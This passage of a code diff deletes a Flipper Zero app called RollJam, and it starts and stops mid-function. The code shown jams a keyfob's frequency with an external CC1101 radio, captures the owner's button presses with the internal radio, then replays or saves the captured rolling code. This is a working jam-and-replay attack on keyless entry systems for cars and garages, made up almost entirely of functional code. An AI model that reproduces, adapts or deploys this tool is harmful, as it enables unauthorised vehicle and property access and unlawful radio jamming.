-    if(g_cap.state == CapDone)   return;
-
-    g_cap.callback_count++;
-
-    RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
-    if(target->valid) return;
-
-    uint32_t dur = duration;
-    bool is_silence    = (dur > SILENCE_GAP_US);
-    bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
-    if(dur > 32767) dur = 32767;
-
-    switch(g_cap.state) {
-    case CapWaiting:
-        g_cap.continuous_count = 0;
-        if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
-            target->size        = 0;
-            g_cap.valid_count   = 0;
-            g_cap.total_count   = 0;
-            g_cap.state         = CapRecording;
-            int16_t s = level ? (int16_t)dur : -(int16_t)dur;
-            target->data[target->size++] = s;
-            g_cap.valid_count++;
-            g_cap.total_count++;
-            g_cap.continuous_count = 1;
-        }
-        break;
-
-    case CapRecording:
-        g_cap.continuous_count++;
-
-        if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
-            target->size = 0;
-            cap_ctx_reset(&g_cap);
-            return;
-        }
-
-        if(target->size >= RAW_SIGNAL_MAX_SIZE) {
-            g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
-            if(g_cap.state == CapWaiting) {
-                target->size = 0;
-                g_cap.valid_count     = 0;
-                g_cap.total_count     = 0;
-                g_cap.continuous_count = 0;
-            }
-            return;
-        }
-
-        if(is_silence) {
-            if(g_cap.valid_count >= MIN_FRAME_PULSES) {
-                if(target->size < RAW_SIGNAL_MAX_SIZE)
-                    target->data[target->size++] = level ? (int16_t)32767 : -32767;
-                g_cap.state = CapDone;
-            } else {
-                target->size = 0;
-                cap_ctx_reset(&g_cap);
-            }
-            return;
-        }
-
-        if(is_medium_gap) g_cap.continuous_count = 0;
-
-        {
-            int16_t s = level ? (int16_t)dur : -(int16_t)dur;
-            target->data[target->size++] = s;
-            g_cap.total_count++;
-            if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
-                g_cap.valid_count++;
-                if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
-                    g_cap.state = CapDone;
-            }
-        }
-        break;
-
-    case CapDone:
-        break;
-    }
-}
-
-// ============================================================
-// Capture start/stop
-// ============================================================
-
-void rolljam_capture_start(RollJamApp* app) {
-    FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
-               app->frequency, app->mod_index, app->jam_offset_hz);
-
-    const uint8_t* src_preset;
-    switch(app->mod_index) {
-    case ModIndex_AM270: src_preset = preset_ook_270_async;  break;
-    case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
-    case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
-    default:             src_preset = preset_ook_650_async;  break;
-    }
-
-    furi_hal_subghz_load_custom_preset(src_preset);
-    furi_delay_ms(5);
-
-    uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
-    FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
-    furi_delay_ms(5);
-
-    furi_hal_subghz_rx();
-    furi_delay_ms(50);
-    float rssi_baseline = furi_hal_subghz_get_rssi();
-    g_cap.rssi_baseline = rssi_baseline;
-    FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
-
-    furi_hal_subghz_idle();
-    furi_delay_ms(5);
-
-    cap_ctx_reset(&g_cap);
-
-    if(!app->signal_first.valid) {
-        g_cap.target_first      = true;
-        app->signal_first.size  = 0;
-        app->signal_first.valid = false;
-        FURI_LOG_I(TAG, "Capture target: FIRST signal");
-    } else {
-        g_cap.target_first       = false;
-        app->signal_second.size  = 0;
-        app->signal_second.valid = false;
-        FURI_LOG_I(TAG, "Capture target: SECOND signal");
-    }
-
-    g_cap.mod_index = app->mod_index;
-    app->raw_capture_active = true;
-    furi_hal_subghz_start_async_rx(capture_rx_callback, app);
-    FURI_LOG_I(TAG, "Capture: RX STARTED");
-}
-
-void rolljam_capture_stop(RollJamApp* app) {
-    if(!app->raw_capture_active) {
-        FURI_LOG_W(TAG, "Capture stop: was not active");
-        return;
-    }
-    app->raw_capture_active = false;
-    furi_hal_subghz_stop_async_rx();
-    furi_delay_ms(5);
-    FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
-               g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
-    FURI_LOG_I(TAG, "  Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
-    FURI_LOG_I(TAG, "  Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
-}
-
-// ============================================================
-// Validation
-// ============================================================
-
-bool rolljam_signal_is_valid(RawSignal* signal) {
-    if(g_cap.state != CapDone) {
-        static int check_count = 0;
-        check_count++;
-        if(check_count % 10 == 0)
-            FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
-                       g_cap.state, g_cap.callback_count,
-                       g_cap.valid_count, g_cap.total_count, (int)signal->size);
-        return false;
-    }
-
-    if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
-
-    if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
-        signal->size = 0;
-        cap_ctx_reset(&g_cap);
-        return false;
-    }
-
-    if(!rolljam_has_sufficient_variance(signal)) {
-        signal->size = 0;
-        cap_ctx_reset(&g_cap);
-        return false;
-    }
-
-    int good  = 0;
-    int total = (int)signal->size;
-    for(int i = 0; i < total; i++) {
-        int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
-        if(abs_val >= MIN_PULSE_US) good++;
-    }
-    int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
-
-    if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
-        FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
-        return true;
-    }
-
-    FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
-    signal->size = 0;
-    cap_ctx_reset(&g_cap);
-    return false;
-}
-
-// ============================================================
-// Signal cleanup
-// ============================================================
-
-void rolljam_signal_cleanup(RawSignal* signal) {
-    if(signal->size < (size_t)MIN_FRAME_PULSES) return;
-
-    int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
-    if(!cleaned) return;
-    size_t out = 0;
-
-    size_t start = 0;
-    while(start < signal->size) {
-        int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
-        if(abs_val >= MIN_PULSE_US) break;
-        start++;
-    }
-
-    for(size_t i = start; i < signal->size; i++) {
-        int16_t val      = signal->data[i];
-        int16_t abs_val  = val > 0 ? val : -val;
-        bool is_positive = (val > 0);
-
-        if(abs_val < MIN_PULSE_US) {
-            if(out > 0) {
-                int16_t prev       = cleaned[out - 1];
-                bool prev_positive = (prev > 0);
-                int16_t prev_abs   = prev > 0 ? prev : -prev;
-                if(prev_positive == is_positive) {
-                    int32_t merged = (int32_t)prev_abs + abs_val;
-                    if(merged > 32767) merged = 32767;
-                    cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
-                }
-            }
-            continue;
-        }
-
-        int32_t q = ((abs_val + 50) / 100) * 100;
-        if(q < MIN_PULSE_US) q = MIN_PULSE_US;
-        if(q > 32767) q = 32767;
-
-        if(out < RAW_SIGNAL_MAX_SIZE)
-            cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
-    }
-
-    while(out > 0) {
-        int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
-        if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
-        out--;
-    }
-
-    if(out >= (size_t)MIN_FRAME_PULSES) {
-        size_t orig = signal->size;
-        memcpy(signal->data, cleaned, out * sizeof(int16_t));
-        signal->size = out;
-        FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
-    }
-    free(cleaned);
-}
-
-// ============================================================
-// TX
-// ============================================================
-
-typedef struct {
-    const int16_t*  data;
-    size_t          size;
-    volatile size_t index;
-} TxCtx;
-
-static TxCtx g_tx;
-
-static LevelDuration tx_feed(void* context) {
-    UNUSED(context);
-    if(g_tx.index >= g_tx.size) return level_duration_reset();
-    int16_t sample = g_tx.data[g_tx.index++];
-    bool     level = (sample > 0);
-    uint32_t dur   = (uint32_t)(sample > 0 ? sample : -sample);
-    return level_duration_make(level, dur);
-}
-
-void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
-    if(!signal->valid || signal->size == 0) {
-        FURI_LOG_E(TAG, "TX: no valid signal");
-        return;
-    }
-    FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
-
-    const uint8_t* tx_src;
-    switch(app->mod_index) {
-    case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
-    case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
-    default:             tx_src = preset_ook_tx;     break;
-    }
-    furi_hal_subghz_load_custom_preset(tx_src);
-    uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
-    FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
-    furi_hal_subghz_idle();
-    furi_delay_ms(5);
-
-    for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
-        g_tx.data  = signal->data;
-        g_tx.size  = signal->size;
-        g_tx.index = 0;
-
-        if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
-            FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
-            furi_hal_subghz_idle();
-            return;
-        }
-
-        uint32_t timeout = 0;
-        while(!furi_hal_subghz_is_async_tx_complete()) {
-            furi_delay_ms(5);
-            if(++timeout > 2000) {
-                FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
-                break;
-            }
-        }
-        furi_hal_subghz_stop_async_tx();
-        FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
-                   tx_repeat, (int)g_tx.index, (int)signal->size);
-        if(tx_repeat < 2) furi_delay_ms(50);
-    }
-    furi_hal_subghz_idle();
-    FURI_LOG_I(TAG, "TX: all repeats done");
-}
-
-// ============================================================
-// Save
-// ============================================================
-
-void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
-    if(!signal->valid || signal->size == 0) {
-        FURI_LOG_E(TAG, "Save: no signal");
-        return;
-    }
-
-    DateTime dt;
-    furi_hal_rtc_get_datetime(&dt);
-
-    FuriString* path = furi_string_alloc_printf(
-        "/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
-        dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
-
-    FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
-
-    Storage* storage = furi_record_open(RECORD_STORAGE);
-    storage_simply_mkdir(storage, "/ext/subghz");
-    File* file = storage_file_alloc(storage);
-
-    if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
-        FuriString* line = furi_string_alloc();
-
-        furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
-        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-        furi_string_printf(line, "Version: 1\n");
-        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-        furi_string_printf(line, "Frequency: %lu\n", app->frequency);
-        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-
-        const char* pname;
-        switch(app->mod_index) {
-        case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async";     break;
-        case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
-        case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
-        default:             pname = "FuriHalSubGhzPresetOok650Async";     break;
-        }
-        furi_string_printf(line, "Preset: %s\n", pname);
-        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-        furi_string_printf(line, "Protocol: RAW\n");
-        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-
-        size_t i = 0;
-        while(i < signal->size) {
-            furi_string_set(line, "RAW_Data:");
-            size_t end = i + 512;
-            if(end > signal->size) end = signal->size;
-            for(; i < end; i++)
-                furi_string_cat_printf(line, " %d", signal->data[i]);
-            furi_string_cat(line, "\n");
-            storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-        }
-        furi_string_free(line);
-        FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
-    } else {
-        FURI_LOG_E(TAG, "Save failed!");
-    }
-
-    storage_file_close(file);
-    storage_file_free(file);
-    furi_record_close(RECORD_STORAGE);
-    furi_string_free(path);
-}

applications/main/RollJam/helpers/rolljam_receiver.h

@@ -1,25 +0,0 @@
-#pragma once
-
-#include "../rolljam.h"
-
-/*
- * Internal CC1101 raw signal capture and transmission.
- *
- * Capture: uses narrow RX bandwidth so the offset jamming
- *          from the external CC1101 is filtered out.
- *
- * The captured raw data is stored as signed int16 values:
- *   positive = high-level duration (microseconds)
- *   negative = low-level duration (microseconds)
- *
- * This matches the Flipper .sub RAW format.
- */
-
-void rolljam_capture_start(RollJamApp* app);
-void rolljam_capture_stop(RollJamApp* app);
-
-bool rolljam_signal_is_valid(RawSignal* signal);
-
-void rolljam_signal_cleanup(RawSignal* signal);
-void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
-void rolljam_save_signal(RollJamApp* app, RawSignal* signal);

applications/main/RollJam/readme.md

@@ -1,21 +0,0 @@
-applications_user/rolljam/
-├── application.fam
-├── rolljam.png          (icon 10x10)
-├── rolljam.c
-├── rolljam_icons.h
-├── scenes/
-│   ├── rolljam_scene.h
-│   ├── rolljam_scene_config.h
-│   ├── rolljam_scene_menu.c
-│   ├── rolljam_scene_attack_phase1.c
-│   ├── rolljam_scene_attack_phase2.c
-│   ├── rolljam_scene_attack_phase3.c
-│   └── rolljam_scene_result.c
-├── helpers/
-│   ├── rolljam_cc1101_ext.h
-│   ├── rolljam_cc1101_ext.c
-│   ├── rolljam_receiver.h
-│   └── rolljam_receiver.c
-└── views/
-    ├── rolljam_attack_view.h
-    └── rolljam_attack_view.c

applications/main/RollJam/rolljam.c

@@ -1,232 +0,0 @@
-#include "rolljam.h"
-#include "scenes/rolljam_scene.h"
-#include "helpers/rolljam_cc1101_ext.h"
-#include "helpers/rolljam_receiver.h"
-#include "helpers/rolljam_cc1101_ext.h"
-
-// ============================================================
-// Frequency / modulation tables
-// ============================================================
-
-const uint32_t freq_values[] = {
-    300000000,
-    303875000,
-    315000000,
-    318000000,
-    390000000,
-    433075000,
-    433920000,
-    434420000,
-    438900000,
-    868350000,
-    915000000,
-};
-
-const char* freq_names[] = {
-    "300.00",
-    "303.87",
-    "315.00",
-    "318.00",
-    "390.00",
-    "433.07",
-    "433.92",
-    "434.42",
-    "438.90",
-    "868.35",
-    "915.00",
-};
-
-const char* mod_names[] = {
-    "AM 650",
-    "AM 270",
-    "FM 238",
-    "FM 476",
-};
-
-const uint32_t jam_offset_values[] = {
-    300000,
-    500000,
-    700000,
-    1000000,
-};
-
-const char* jam_offset_names[] = {
-    "300 kHz",
-    "500 kHz",
-    "700 kHz",
-    "1000 kHz",
-};
-
-const char* hw_names[] = {
-    "CC1101",
-    "Flux Cap",
-};
-
-// ============================================================
-// Scene handlers table (extern declarations in scene header)
-// ============================================================
-
-void (*const rolljam_scene_on_enter_handlers[])(void*) = {
-    rolljam_scene_menu_on_enter,
-    rolljam_scene_attack_phase1_on_enter,
-    rolljam_scene_attack_phase2_on_enter,
-    rolljam_scene_attack_phase3_on_enter,
-    rolljam_scene_result_on_enter,
-};
-
-bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
-    rolljam_scene_menu_on_event,
-    rolljam_scene_attack_phase1_on_event,
-    rolljam_scene_attack_phase2_on_event,
-    rolljam_scene_attack_phase3_on_event,
-    rolljam_scene_result_on_event,
-};
-
-void (*const rolljam_scene_on_exit_handlers[])(void*) = {
-    rolljam_scene_menu_on_exit,
-    rolljam_scene_attack_phase1_on_exit,
-    rolljam_scene_attack_phase2_on_exit,
-    rolljam_scene_attack_phase3_on_exit,
-    rolljam_scene_result_on_exit,
-};
-
-const SceneManagerHandlers rolljam_scene_handlers = {
-    .on_enter_handlers = rolljam_scene_on_enter_handlers,
-    .on_event_handlers = rolljam_scene_on_event_handlers,
-    .on_exit_handlers = rolljam_scene_on_exit_handlers,
-    .scene_num = RollJamSceneCount,
-};
-
-// ============================================================
-// Navigation callbacks
-// ============================================================
-
-static bool rolljam_navigation_callback(void* context) {
-    RollJamApp* app = context;
-    return scene_manager_handle_back_event(app->scene_manager);
-}
-
-static bool rolljam_custom_event_callback(void* context, uint32_t event) {
-    RollJamApp* app = context;
-    return scene_manager_handle_custom_event(app->scene_manager, event);
-}
-
-// ============================================================
-// App alloc
-// ============================================================
-
-static RollJamApp* rolljam_app_alloc(void) {
-    RollJamApp* app = malloc(sizeof(RollJamApp));
-    memset(app, 0, sizeof(RollJamApp));
-
-    app->freq_index = FreqIndex_433_92;
-    app->frequency = freq_values[FreqIndex_433_92];
-    app->mod_index = ModIndex_AM650;
-    app->jam_offset_index = JamOffIndex_700k;
-    app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
-    app->hw_index = HwIndex_CC1101;
-
-    // Services
-    app->gui = furi_record_open(RECORD_GUI);
-    app->notification = furi_record_open(RECORD_NOTIFICATION);
-    app->storage = furi_record_open(RECORD_STORAGE);
-
-    // Scene manager
-    app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
-
-    // View dispatcher
-    app->view_dispatcher = view_dispatcher_alloc();
-    view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
-    view_dispatcher_set_custom_event_callback(
-        app->view_dispatcher, rolljam_custom_event_callback);
-    view_dispatcher_set_navigation_event_callback(
-        app->view_dispatcher, rolljam_navigation_callback);
-    view_dispatcher_attach_to_gui(
-        app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
-
-    // Variable item list
-    app->var_item_list = variable_item_list_alloc();
-    view_dispatcher_add_view(
-        app->view_dispatcher,
-        RollJamViewVarItemList,
-        variable_item_list_get_view(app->var_item_list));
-
-    // Widget
-    app->widget = widget_alloc();
-    view_dispatcher_add_view(
-        app->view_dispatcher,
-        RollJamViewWidget,
-        widget_get_view(app->widget));
-
-    // Dialog
-    app->dialog_ex = dialog_ex_alloc();
-    view_dispatcher_add_view(
-        app->view_dispatcher,
-        RollJamViewDialogEx,
-        dialog_ex_get_view(app->dialog_ex));
-
-    // Popup
-    app->popup = popup_alloc();
-    view_dispatcher_add_view(
-        app->view_dispatcher,
-        RollJamViewPopup,
-        popup_get_view(app->popup));
-
-    return app;
-}
-
-// ============================================================
-// App free
-// ============================================================
-
-static void rolljam_app_free(RollJamApp* app) {
-    if(app->jamming_active) {
-        rolljam_jammer_stop(app);
-    }
-    if(app->raw_capture_active) {
-        rolljam_capture_stop(app);
-    }
-
-    view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
-    variable_item_list_free(app->var_item_list);
-
-    view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
-    widget_free(app->widget);
-
-    view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
-    dialog_ex_free(app->dialog_ex);
-
-    view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
-    popup_free(app->popup);
-
-    scene_manager_free(app->scene_manager);
-    view_dispatcher_free(app->view_dispatcher);
-
-    furi_record_close(RECORD_GUI);
-    furi_record_close(RECORD_NOTIFICATION);
-    furi_record_close(RECORD_STORAGE);
-
-    free(app);
-}
-
-// ============================================================
-// Entry point
-// ============================================================
-
-int32_t rolljam_app(void* p) {
-    UNUSED(p);
-
-    RollJamApp* app = rolljam_app_alloc();
-
-    FURI_LOG_I(TAG, "=== RollJam Started ===");
-    FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
-    FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
-
-    scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
-    view_dispatcher_run(app->view_dispatcher);
-
-    rolljam_app_free(app);
-
-    FURI_LOG_I(TAG, "=== RollJam Stopped ===");
-    return 0;
-}

applications/main/RollJam/rolljam.h

@@ -1,158 +0,0 @@
-#pragma once
-
-#include <furi.h>
-#include <furi_hal.h>
-#include <gui/gui.h>
-#include <gui/view_dispatcher.h>
-#include <gui/scene_manager.h>
-#include <gui/modules/submenu.h>
-#include <gui/modules/popup.h>
-#include <gui/modules/variable_item_list.h>
-#include <gui/modules/widget.h>
-#include <gui/modules/dialog_ex.h>
-#include <notification/notification.h>
-#include <notification/notification_messages.h>
-#include <storage/storage.h>
-#include <stdlib.h>
-#include <string.h>
-
-#define TAG "RollJam"
-
-#define RAW_SIGNAL_MAX_SIZE 4096
-
-// ============================================================
-// Frequencies
-// ============================================================
-typedef enum {
-    FreqIndex_300_00 = 0,
-    FreqIndex_303_87,
-    FreqIndex_315_00,
-    FreqIndex_318_00,
-    FreqIndex_390_00,
-    FreqIndex_433_07,
-    FreqIndex_433_92,
-    FreqIndex_434_42,
-    FreqIndex_438_90,
-    FreqIndex_868_35,
-    FreqIndex_915_00,
-    FreqIndex_COUNT,
-} FreqIndex;
-
-extern const uint32_t freq_values[];
-extern const char* freq_names[];
-
-// ============================================================
-// Modulations
-// ============================================================
-typedef enum {
-    ModIndex_AM650 = 0,
-    ModIndex_AM270,
-    ModIndex_FM238,
-    ModIndex_FM476,
-    ModIndex_COUNT,
-} ModIndex;
-
-extern const char* mod_names[];
-
-// ============================================================
-// Jam offsets
-// ============================================================
-typedef enum {
-    JamOffIndex_300k = 0,
-    JamOffIndex_500k,
-    JamOffIndex_700k,
-    JamOffIndex_1000k,
-    JamOffIndex_COUNT,
-} JamOffIndex;
-
-extern const uint32_t jam_offset_values[];
-extern const char* jam_offset_names[];
-
-// ============================================================
-// Hardware type
-// ============================================================
-typedef enum {
-    HwIndex_CC1101 = 0,
-    HwIndex_FluxCapacitor,
-    HwIndex_COUNT,
-} HwIndex;
-
-extern const char* hw_names[];
-
-// ============================================================
-// Scenes
-// ============================================================
-typedef enum {
-    RollJamSceneMenu,
-    RollJamSceneAttackPhase1,
-    RollJamSceneAttackPhase2,
-    RollJamSceneAttackPhase3,
-    RollJamSceneResult,
-    RollJamSceneCount,
-} RollJamScene;
-
-// ============================================================
-// Views
-// ============================================================
-typedef enum {
-    RollJamViewVarItemList,
-    RollJamViewWidget,
-    RollJamViewDialogEx,
-    RollJamViewPopup,
-} RollJamView;
-
-// ============================================================
-// Custom events
-// ============================================================
-typedef enum {
-    RollJamEventStartAttack = 100,
-    RollJamEventSignalCaptured,
-    RollJamEventPhase3Done,
-    RollJamEventReplayNow,
-    RollJamEventSaveSignal,
-    RollJamEventBack,
-} RollJamEvent;
-
-// ============================================================
-// Raw signal container
-// ============================================================
-typedef struct {
-    int16_t data[RAW_SIGNAL_MAX_SIZE];
-    size_t size;
-    bool valid;
-} RawSignal;
-
-// ============================================================
-// Main app struct
-// ============================================================
-typedef struct {
-    Gui* gui;
-    ViewDispatcher* view_dispatcher;
-    SceneManager* scene_manager;
-    NotificationApp* notification;
-    Storage* storage;
-
-    VariableItemList* var_item_list;
-    Widget* widget;
-    DialogEx* dialog_ex;
-    Popup* popup;
-
-    FreqIndex freq_index;
-    ModIndex mod_index;
-    JamOffIndex jam_offset_index;
-    HwIndex hw_index;
-    uint32_t frequency;
-    uint32_t jam_frequency;
-    uint32_t jam_offset_hz;
-
-    RawSignal signal_first;
-    RawSignal signal_second;
-
-    bool jamming_active;
-    FuriThread* jam_thread;
-    volatile bool jam_thread_running;
-
-    volatile bool raw_capture_active;
-
-
-} RollJamApp;

applications/main/RollJam/rolljam_icons.h

@@ -1,9 +0,0 @@
-#pragma once
-
-// Icon assets are auto-generated by the build system
-// from the images/ folder. If no custom icons are needed,
-// this file can remain minimal.
-
-// If you place .png files in an images/ folder,
-// the build system generates icon references automatically.
-// Access them via &I_iconname

applications/main/RollJam/scenes/rolljam_scene.h

@@ -1,27 +0,0 @@
-#pragma once
-
-#include "../rolljam.h"
-
-// Scene on_enter
-void rolljam_scene_menu_on_enter(void* context);
-void rolljam_scene_attack_phase1_on_enter(void* context);
-void rolljam_scene_attack_phase2_on_enter(void* context);
-void rolljam_scene_attack_phase3_on_enter(void* context);
-void rolljam_scene_result_on_enter(void* context);
-
-// Scene on_event
-bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
-bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
-bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
-bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
-bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
-
-// Scene on_exit
-void rolljam_scene_menu_on_exit(void* context);
-void rolljam_scene_attack_phase1_on_exit(void* context);
-void rolljam_scene_attack_phase2_on_exit(void* context);
-void rolljam_scene_attack_phase3_on_exit(void* context);
-void rolljam_scene_result_on_exit(void* context);
-
-// Scene manager handlers (defined in rolljam.c)
-extern const SceneManagerHandlers rolljam_scene_handlers;

applications/main/RollJam/scenes/rolljam_scene_attack_phase1.c

@@ -1,126 +0,0 @@
-#include "rolljam_scene.h"
-#include "../helpers/rolljam_cc1101_ext.h"
-#include "../helpers/rolljam_receiver.h"
-
-// ============================================================
-// Phase 1: JAM + CAPTURE first keyfob press
-// ============================================================
-
-static void phase1_timer_callback(void* context) {
-    RollJamApp* app = context;
-
-    if(app->signal_first.size >= 20 &&
-       rolljam_signal_is_valid(&app->signal_first)) {
-        view_dispatcher_send_custom_event(
-            app->view_dispatcher, RollJamEventSignalCaptured);
-    }
-}
-
-void rolljam_scene_attack_phase1_on_enter(void* context) {
-    RollJamApp* app = context;
-
-    widget_reset(app->widget);
-    widget_add_string_element(
-        app->widget, 64, 2, AlignCenter, AlignTop,
-        FontPrimary, "PHASE 1 / 4");
-    widget_add_string_element(
-        app->widget, 64, 16, AlignCenter, AlignTop,
-        FontSecondary, "Starting...");
-    widget_add_string_element(
-        app->widget, 64, 56, AlignCenter, AlignTop,
-        FontSecondary, "[BACK] cancel");
-    view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
-
-    rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
-
-    rolljam_jammer_start(app);
-    furi_delay_ms(300);
-
-    widget_reset(app->widget);
-    widget_add_string_element(
-        app->widget, 64, 2, AlignCenter, AlignTop,
-        FontPrimary, "PHASE 1 / 4");
-    if(app->jamming_active) {
-        widget_add_string_element(
-            app->widget, 64, 16, AlignCenter, AlignTop,
-            FontSecondary, "Jamming active...");
-        FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
-    } else {
-        widget_add_string_element(
-            app->widget, 64, 16, AlignCenter, AlignTop,
-            FontSecondary, "No ext jammer");
-        FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
-    }
-    widget_add_string_element(
-        app->widget, 64, 28, AlignCenter, AlignTop,
-        FontSecondary, "Listening for keyfob");
-    widget_add_string_element(
-        app->widget, 64, 42, AlignCenter, AlignTop,
-        FontPrimary, "PRESS KEYFOB NOW");
-    widget_add_string_element(
-        app->widget, 64, 56, AlignCenter, AlignTop,
-        FontSecondary, "[BACK] cancel");
-
-    rolljam_capture_start(app);
-
-    notification_message(app->notification, &sequence_blink_blue_100);
-
-    FuriTimer* timer = furi_timer_alloc(
-        phase1_timer_callback, FuriTimerTypePeriodic, app);
-    furi_timer_start(timer, 300);
-
-    scene_manager_set_scene_state(
-        app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
-
-    FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
-}
-
-bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
-    RollJamApp* app = context;
-
-    if(event.type == SceneManagerEventTypeCustom) {
-        if(event.event == RollJamEventSignalCaptured) {
-            rolljam_capture_stop(app);
-
-            if(!rolljam_signal_is_valid(&app->signal_first)) {
-                FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
-                app->signal_first.size  = 0;
-                app->signal_first.valid = false;
-                furi_delay_ms(50);
-                rolljam_capture_start(app);
-                return true;
-            }
-
-            rolljam_signal_cleanup(&app->signal_first);
-            app->signal_first.valid = true;
-
-            notification_message(app->notification, &sequence_success);
-            FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
-                       (int)app->signal_first.size);
-
-            scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
-            return true;
-        }
-    } else if(event.type == SceneManagerEventTypeBack) {
-        FURI_LOG_I(TAG, "Phase1: cancelled");
-        rolljam_capture_stop(app);
-        rolljam_jammer_stop(app);
-        scene_manager_search_and_switch_to_another_scene(
-            app->scene_manager, RollJamSceneMenu);
-        return true;
-    }
-    return false;
-}
-
-void rolljam_scene_attack_phase1_on_exit(void* context) {
-    RollJamApp* app = context;
-
-    FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
-        app->scene_manager, RollJamSceneAttackPhase1);
-    if(timer) {
-        furi_timer_stop(timer);
-        furi_timer_free(timer);
-    }
-
-    widget_reset(app->widget);
-}

applications/main/RollJam/scenes/rolljam_scene_attack_phase2.c

@@ -1,110 +0,0 @@
-#include "rolljam_scene.h"
-#include "../helpers/rolljam_cc1101_ext.h"
-#include "../helpers/rolljam_receiver.h"
-
-// ============================================================
-// Phase 2: JAM + CAPTURE second keyfob press
-// ============================================================
-
-static void phase2_timer_callback(void* context) {
-    RollJamApp* app = context;
-
